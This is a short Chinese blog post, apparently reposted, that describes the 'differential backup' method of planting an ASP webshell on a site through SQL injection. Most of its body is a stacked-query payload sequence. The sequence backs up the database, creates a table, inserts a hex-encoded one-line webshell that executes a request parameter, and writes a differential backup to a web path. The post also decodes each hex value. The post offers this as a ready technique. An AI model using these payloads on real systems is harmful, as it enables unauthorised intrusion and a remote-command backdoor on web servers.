正在加载...
 
< WEB暴力破解--我...
[转载]syslog... >
一直没空弄“差异备份”。。。 
 标签:安全技术 | 浏览数(275) | 评论数(0) | 04-13 14:33

首先找到一个可以进行";"加一句SQL语句的SQL注入点,然后通过写入一句话马马并利用backup语句生成*.ASP(一句话的服务端),OK,LOG之。例子:

+++++++++++++++++++++++++++++++++++++++++++++++

差异备份的主要代码:

;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s--

;Drop table [heige];create table [dbo] dot [heige] ([cmd] [image])--

;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)--

;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--

这段代码中,0x626273是要备份的库名bbs的十六进制,可以是其他名字比如bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的十六进制,是lp最小马;0x643A5C7765625C312E617370是d:\web\1.asp的十六进制,也就是你要备份的webshell路径。

+++++++++++++++++++++++++++++++++++++++++++++++

http://www.i170.com/Article/104002/trackback

评论:

发表评论: